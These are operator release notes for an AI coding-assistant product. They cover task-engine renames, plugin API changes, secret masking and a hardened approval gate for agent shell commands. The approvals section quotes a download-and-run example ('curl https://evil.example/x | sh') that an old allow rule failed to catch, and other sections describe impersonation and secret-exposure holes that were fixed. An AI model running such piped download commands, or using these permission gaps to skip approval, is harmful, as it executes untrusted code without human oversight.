Codumentor logo Codumentor

Operator release notes

Breaking changes an operator has to act on — configuration files, stored data,
endpoints, and the plugin API. Feature work is documented in the guides this
page links to.

Every user may connect a personal ChatGPT plan

The user role now holds a new permission, models:connect_personal, and
the openai_codex plugin's Sign in with ChatGPT door asks for it instead of
oauth:manage. So wherever oauth and openai_codex are loaded, **every user
can connect their own ChatGPT plan* and pick its models — badged Leaves your
organization*. The switch is model_selection.personal_connections: false
(everybody) or access.profiles.<p>.personal_connections: false (one profile);
both also withhold endpoints a user typed in, and are enforced at every turn.
See Access profiles → Personal model connections.

OAuth providers gained required_permission (default oauth:manage): the
OAuth routes now answer per provider, so a user who holds only
models:connect_personal sees and manages only their ChatGPT account.

The OpenAI-compatible API runs as the authenticated caller

/v1/chat/completions no longer takes its user from the request body's user
field, which any caller could set to another user's id and run as them — on
their personal model connections, history and settings. A request made with a
user's own token (local, ldap) now runs as that user, whatever user
says. A request with no user behind it — the static_key service key,
api_provider: none, or a Gitea token — runs as api:<user> (the body's
user, or api:default): such callers still get one history and set of
per-user state per user value, but it is stored under the new api: key, so
state they built under the bare user value before this release is not found
again. /v1/models lists a token holder's own models by user id.

Model selection: the main agent and declared thinking modes

Two behaviour changes come with model_selection: replacing thinking_modes::

The configuration assistant edits one list entry at a time

A config_propose / config_apply patch used to replace any list it named
wholesale. Adding one plugin to plugins_overrides meant restating every
other entry, secrets and all. Now a list of named entries (entries with a
name, or plugins' module + class) merges by entry: the patch holds
only the entries it adds or changes, each deep-merges onto the file's matching
entry, and the rest stay untouched, comments included. Lists of plain values
still replace.

remove_paths can name a list entry in brackets:
plugins_overrides[codumentor.plugins.svn], auth.ldap_directories[corp].bind_password,
repos[2]. Removals now run before the patch, so removing a list and
patching it replaces the list, for example to reorder it. See
Editing lists.

Removing a list entry in the admin repositories editor used to drop the next
entry's header comment when the removed entry ended in a nested block
(options:, dev_server:). It no longer does.

The configuration assistant no longer shows secrets in its diffs, and keeps masked values on edit

The config_propose diff (also shown in the approval request) came from the
raw file text. A password written literally in the file, on or near the lines
an edit touched, was shown to the model in full, and so was a validation error
quoting its input. Both are now masked like every other read. A secret the edit
changes reads redacted (changed).

Changing one entry of a list (plugins_overrides, plugins, repos, …)
means restating the list, and the assistant only ever sees masked secrets. A
redacted in its patch used to be written verbatim over the real value.
It now means keep the current value: the file's own value (a literal or a
${ENV} placeholder) is kept as written. When no file has a value to keep,
the edit is refused. See the
catalog page.

A count under a token key (max_tokens, token_cache_ttl_minutes) is no
longer masked in the assistant's reads.

The configuration assistant can edit extends: bases, and renames old keys in any file it edits

config_propose / config_apply used to write only the leaf and the two
overlays. Their target now also takes the path (or config_layers index) of
any file this instance was loaded from, extends: bases included. Arbitrary
paths and the bundled flavor default are still refused. A base candidate is
validated inside this instance's full stack, as the files above it inherit it.

What an operator sees:

See the catalog page.

A renamed key in an extends: base no longer beats the file that extends it

Renamed keys (scheduler: → tasks:, max_schedules_per_user →
max_tasks_per_user, …) used to be aliased after every config layer had been
merged, with the old spelling winning. That ignored which file each spelling
came from: a shared base still saying scheduler: overrode whatever its leaf
set under tasks:, and the leaf had no way to win. Each file is now aliased
on its own as it is read, before it meets its extends: parents or any other
layer, so the usual rule applies across renames too: a later file wins.

What an operator sees:

The configuration assistant can now tell which file sets a key (its new
config_layers tool), including the bundled flavor default underneath every
instance. Its note about old spellings names the file to fix. (It can now
write that file too, extends: base or not; see the top of this page.)

A relative path: in repos: is now indexed — and a broken one is loud

Repository management read a repository's path: verbatim, so a relative
one resolved against the process working directory — for the API server,
whatever directory it happened to be launched from. Every other resolver
anchors the same value to the directory holding the config file. The repository
therefore showed up everywhere except the index: listed on the welcome
screen, @-mentionable, readable by the file tools — while ingestion logged

Configured repository path 'repos/<name>' does not exist; skipping.

once per run and walked past it. Two things changed.

The path now resolves the way the rest of the product resolves it.
Repository roots come from one place (RepoContext.repo_root_or_default), so a
relative path: means "relative to the config file" everywhere. **A repository
that has been quietly absent from the vector database starts being embedded on
the next ingestion run.** Expect a one-off first-run cost — a full embed of that
repository, billed to your embedding provider — and a content change nobody
asked for in this release: answers begin citing files that were invisible
before.

Before upgrading, read repos: for entries with a relative path: and decide
whether you actually want each one indexed. An entry left in the list
"temporarily" — kept working only because ingestion skipped it — should be
removed from repos: (or have its path: corrected) before the upgrade, not
after the embedding bill. There is deliberately **no flag to keep the old
behaviour**: it silently dropped a repository the configuration asked for.

A configured path that does not exist is now said out loud. Once on stderr
at startup, naming both the declared spelling and where it resolved to:

Warning: Repository 'alpha' is misconfigured. Configured path 'repos/alpha'
does not exist (resolved to '/srv/codumentor/repos/alpha'). A relative path: is
resolved against the directory holding the config file, not the directory the
process was launched from. It will not be indexed; its files are still readable.

…and on the admin repositories page, where that row's Index column now reads
failed · not found with the same detail behind "Show details", instead of
not indexed forever. It is a warning, not a refusal: every other repository
starts and serves as before.

This only applies to path: entries. A url: entry with no clone yet is a
repository waiting to be cloned, which is normal, and still reads
not indexed.

The scheduler is now the task engine (triggers)

Tasks fire on events, not only on a clock: a row is a task, a trigger
is the event that starts one. The subsystem was renamed to match, and the
rename shipped without compatibility shims — every item below is something
to do by hand. See triggers §19 for why each
cost was accepted.

scheduler: in a config file now warns, and is aliased onto tasks:

It used to be an unknown key, which pydantic ignored — so the instance booted
with every task-engine knob back at its default and the operator's tuning
silently gone. It is now aliased instead, with a startup warning naming both
spellings and the file:

Config key 'scheduler' is deprecated; use 'tasks' instead (in /srv/codumentor.yaml).
scheduler: is now tasks: — The whole section moved, sub-keys included —
'max_schedules_per_user' is now 'max_tasks_per_user' (see
doc/admin/configuration.md, 'task engine').

The file keeps booting on the operator's actual settings — no values are
lost — but the warning fires on every startup and reload until the section is
renamed to tasks: (and, inside it, max_schedules_per_user →
max_tasks_per_user, aliased the same way). A configuration-assistant
conversation also surfaces this proactively: it names the file still using the
old spelling, and offers to write the rename there. (Until the fix above, an old spelling in an extends: base also won over
the leaf; see the top of this page.)

Two more things about the section itself:

See Configuration → task engine.

A stale plugins: entry for scheduler_tools fails silently

The plugin moved: codumentor.plugins.scheduler_tools.SchedulerToolsPlugin →
codumentor.plugins.task_tools.TaskToolsPlugin, and its id is now task_tools
(display name "Task Engine").

Unlike the config keys above, this one does not stop the boot. The plugin
loader catches the ImportError, logs an ERROR, and carries on
(plugins/loader.py). The server comes up healthy-looking with no
agent_task_run handler registered, so every task is held —
ENQUEUE_HELD/handler_unregistered — and never fires, never advances, and
never records a failure anyone sees in the UI. Fix the module path.

Two other places the old id silently stops matching: disabled_plugins:
["scheduler_tools"]
matches nothing, so an instance that deliberately turned
the plugin off gets it back; and the UI extension path
/ui/extensions/plugins/scheduler_tools/… 404s.

tasks.enabled: false now also stops repository ingestion

The API server registers the repo_ingest job handler inside the
tasks_enabled branch (api/main.py). With the task engine off there is no
handler, so neither a push webhook nor a config-reload repo add indexes
anything — both queue a job that fails with "No handler". Previously the
webhook ingestion scheduler was independent of scheduler.enabled and ingested
either way.

This bites the investigate flavor, which ships tasks.enabled: false. Set
tasks.enabled: true (and then host_readonly.network: share or isolate, per
that flavor's own note) if the instance needs to index repositories.

The admin repositories page also no longer shows queued/running for
push- or reload-driven ingests — only the terminal record — so a long clone
reads as not_indexed for its whole duration.

gitea_pr reviews stop until you re-arm them

Deleting /ops/webhook/gitea-pr moved two settings out from under the plugin,
and an instance that had active review working gets no reviews at all after
the upgrade:

To restore it: enable both declared tasks; define the pr-reviewer entry under
access.profiles: they name (it is not a built-in — an undefined name makes the
run refuse at fire time); create the real gitea-review-bot account holding
a gitea_api_token secret, because run_as otherwise defaults to
system:config, which holds no per-user credentials and yields
gitea_api_token_unset on every call while the run is recorded a success;
and set auto_post_on_review_comment: true, without which the run happens but
holds no gitea_* write tool and so posts nothing. That last one is
deliberately a second switch: it stays a working kill-switch after the entries
are enabled, and it is what keeps an unattended reviewer to the comment tools —
gitea_submit_review is stripped from an auto-approving turn either way, so an
outside-triggered run never approves the pull request it was asked to review.

Two behaviours of the old endpoint did not survive the move, both because a
declared run's conversation carries no PR binding: the already-posted skip-note
(each fire is told in its prompt to read the existing comments instead), and one
review conversation per pull request (each fire gets a fresh one). See
gitea_pr.

Existing user-created schedules are gone

The schedules table was replaced, not migrated. On first boot after the
upgrade TaskStore creates tasks in the shared jobs.sqlite3 and drops
schedules outright; no row is read across. (A tasks table left behind by a
mid-upgrade boot is likewise dropped and recreated, with a WARNING naming the
columns it found.)

What comes back on its own, and what does not:

Take a list of your schedules before upgrading.

task_tools' database moved, orphaning run history

scheduler_tools.sqlite3 → task_tools.sqlite3, and the override
CODUMENTOR_SCHEDULER_TOOLS_DB_PATH → CODUMENTOR_TASK_TOOLS_DB_PATH. The old
variable is no longer read: leave it set and the plugin quietly opens a new,
empty file under the data dir.

The scheduled_runs history in the old file is orphaned, not migrated, so
list_task_runs starts blank. To keep it, either point
CODUMENTOR_TASK_TOOLS_DB_PATH at the old file, or, with the instance stopped,
rename scheduler_tools.sqlite3 to task_tools.sqlite3 together with its
-wal and -shm sidecars.

Both bespoke webhook handlers were deleted

There is one inbound door now: POST /ops/webhook/{source}, with {source} a
key in the normalizer registry — gitea, github, generic, push, plus
whatever a plugin registers.

See Webhooks.

Every task tool and run hook was renamed

Model-facing tool names are a contract with the prompt, not with stored data,
so they changed the moment the tools re-registered:

OldNew
schedule_agent_runcreate_task
list_scheduled_taskslist_tasks
get_scheduled_taskget_task
update_scheduled_taskupdate_task
pause_scheduled_taskpause_task
resume_scheduled_taskresume_task
cancel_scheduled_taskcancel_task
snooze_scheduled_tasksnooze_task
list_scheduled_runslist_task_runs
get_scheduled_run_outputget_task_run_output

The plugin itself is task_tools (was scheduler_tools), and it adds
list_events, list_event_types and test_trigger.

The three run hooks are now onTaskRunGate, onTaskRunFinished and
onTaskAutoDisabled (were onScheduledRunGate, onScheduledRunFinished,
onScheduledRunAutoDisabled). The host-bus events moved with them:
plugin.scheduler_tools.run_{started,finished} →
plugin.task_tools.run_{started,finished}. The job type scheduled_agent_run
is now agent_task_run — and the jobs table is not dropped, so any queued
job still carrying the old type fails on execution with No handler for job
type: scheduled_agent_run
. Goal-worker commits changed trailer with it:
Schedule-Id: → Task-Id:, so a git log --grep 'Schedule-Id' over a goal KB
stops matching anything written after the upgrade.

Nothing validates a tool name you wrote down. An access profile, a
tool_allowlist, or a subagent tool list still naming an old tool matches
nothing and is silently denied — no error at load. Grep your YAML for
schedule_ and _scheduled_ before upgrading.

Out-of-tree plugins: the Python API moved

codumentor.core.scheduler is gone; the package is codumentor.core.tasks.
Every import raises:

OldNew
SchedulerTaskEngine
ScheduleDefinitionTaskDefinition
ScheduleStoreTaskStore
ScheduleStatusTaskStatus (in core/tasks/status.py)
get_scheduler()get_task_engine()
shutdown_all_schedulers()shutdown_all_task_engines()

TaskDefinition also dropped cron_expression, run_at and timezone in
favour of a required firing: FiringMode (and gained on_overlap, armed), so
anything reading a row's schedule breaks. TaskEngine.create() still accepts
cron_expression= / run_at= / timezone=, so callers of create are fine.

codumentor/core/ingestion/webhook_scheduler.py was deleted outright, taking
WebhookIngestionScheduler, get_webhook_scheduler(),
shutdown_all_webhook_schedulers() and its FULL/FETCH constants with it.
The runtime handle is app.state.task_engine (was app.state.scheduler) — that
one is a silent None, not an ImportError.

JobTypeRegistry.register requires emits_lifecycle

register(job_type, handler, *, emits_lifecycle: bool)

The keyword is required and has no default, so every call site decides in
the open whether a terminal job of that type emits a job.finished trigger
event. An out-of-tree plugin that registers a job type breaks until it passes
one:

TypeError: JobTypeRegistry.register() missing 1 required keyword-only
argument: 'emits_lifecycle'

Pass False for anything that already emits something richer (agent_task_run
has task.run_finished) or that runs often enough to be noise.

See the task engine guide and
backend hooks.

Approvals: allow rules, shell_always_allow, unattended runs, and the web settings

The tool-approval gate is now a policy engine over three scopes — an operator
floor from configuration, per-user rules, and a per-conversation mode — with a
deterministic command analyser in front of rule matching. Five upgrade-affecting
consequences.

Allow rules must now cover every part of a compound command

A shell command is parsed into its simple commands before rules are matched. A
deny rule matching any part still denies the whole command; an allow
rule must now match every part, and no allow rule matches a command carrying
an escalating flag (piping into a shell, sudo, a recursive delete outside the
workspace, command substitution, unparseable input, …).

Shell(ls:*) used to allow ls; curl https://evil.example/x | sh, because
matching ran on the raw string with no shell parser. It no longer does.

Users with allow rules will see more prompts. Every extra prompt is a
command the rule was never meant to cover. There is no opt-out, and none is
planned: this is the fix for a real hole.

tools.shell_always_allow is deprecated

It now maps to the operator allow rule Shell and logs a warning at config
load. Because it is an allow rule, the paragraph above applies to it:

This narrowing is deliberate. The replacement for the old never-prompt
behaviour is a permission mode:

permissions:
  default_mode: bypassPermissions

which applies to every gated tool rather than only to shell, is visible in
Settings, and can be withdrawn from users with allow_bypass: false. A per-user
default mode does the same for one account.

Gated means the calls that reach the approval gate: shell commands, file reads
outside the workspace, the plugin tools that declare an approval (Gitea and
Redmine writes, database.execute, the Google Workspace writes — mail, drafts,
labels, trash, calendar events, Docs and Sheets — write_system_config,
external_agent.invoke), and three approvals that do not come from a tool call
at all: sandbox_network (see the next section), an MCP app's tool call, and a
nested external agent's calls back into Codumentor's own tools. **File edits
inside the workspace are not among them** — no file-editing tool requests a
permission, so in a conversation no mode and no Write(…) rule gates one; print
mode is a separate mechanism and refuses those tools by name under default and
plan. Nothing here changed that; it is stated so no upgrade is planned around a
protection that does not exist.

The three that are not tool calls carry no model-written reason, so their
dialogs show one line fewer. See
Configuration → permissions for the full list.

Unattended runs resolve every permission type through the scheduler mode

A scheduled run or a Gitea webhook turn (auto_run) used to take an inline
allow-everything-but-deny branch that only covered tool permissions. Other
permission types fell through to a human who was not there. With
workspace_isolation configured as host_readonly and network: ask, a
scheduled run asking for sandbox_network parked an approval nobody could
answer — the run hung until it timed out. MCP-app write approvals behaved the
same way.

Those now resolve through scheduler.permission_mode like everything else. At
the default bypassPermissions they resolve to ALLOW: such a run shares the
host network with its read-only sandbox instead of hanging. That is the intended
behaviour — a hang is not a security control — but it is a real widening
compared with a run that used to stop, so check scheduler.permission_mode if
you relied on the hang. plan denies both; auto (below) triages them.

scheduler.permission_mode: auto — Auto with a deny fallback

New value. Unattended turns get the same triage a conversation does — the
analyser, then the judge — and because there is nobody to ask, a call that would
have prompted is denied. The refusal names the command, the flags, the
judge's note and the agent's reason, in the tool result the model reads, on the
transcript card, and on the audit row (decided_by = unattended). The run
continues and ends with a report instead of a hang. The default is unchanged.

The web UI's approvals settings are server-authoritative

localStorage was the source of truth for approvals in the web UI: it pushed to
the server and never read back, so two browsers could disagree with each other
and with the server. It is now a cache. On the first load after upgrade a user
with no server record has their browser state adopted once; from then on the
server wins.

PermissionContainer's client-side auto-approve is gone. A stale
autoApproveAll left in a browser cache no longer approves anything — in
bypassPermissions the server does not emit a permission request at all, and in
every other mode the browser does not get to answer one on the user's behalf.

Together with the per-user scoping this closes audit finding H1: one user
account could previously rewrite the approval gate — including wiping operator
deny rules — for every tenant in the process.

See Permissions and
Configuration → permissions.

Trust prompt and this-folder conversations (B4)

On a user-home instance (community default), a discovered project YAML
is an overlay, not the instance. The first interactive launch in that folder
asks whether to trust it. --config is always trusted. --trust-project /
--no-trust-project skip the prompt for this run; --no-trust-project does
not persist the skip.

The conversation sidebar can show This folder (current workspace_id)
or All. Untagged legacy chats appear only in All.

See Community: install once, run anywhere
and Configuration.

Bundled flavor default is the config floor

Workspace YAML files now start from the packaged default_<flavor>.yaml,
then the YAML (and an optional $CODUMENTOR_HOME/config.yaml user overlay).
Omitted keys inherit the flavor file, not Pydantic-only defaults.

A YAML that omitted include_patterns to mean "ingest by known extension"
must now set it explicitly:

include_patterns: []

Otherwise it inherits the flavor whitelist (/.py, /.md, …).
Complete files that already set the keys they care about are unchanged.

--flavor minimal -c overlay.yaml starts the minimal product without the
overlay repeating the plugin list.

See Configuration → Migration.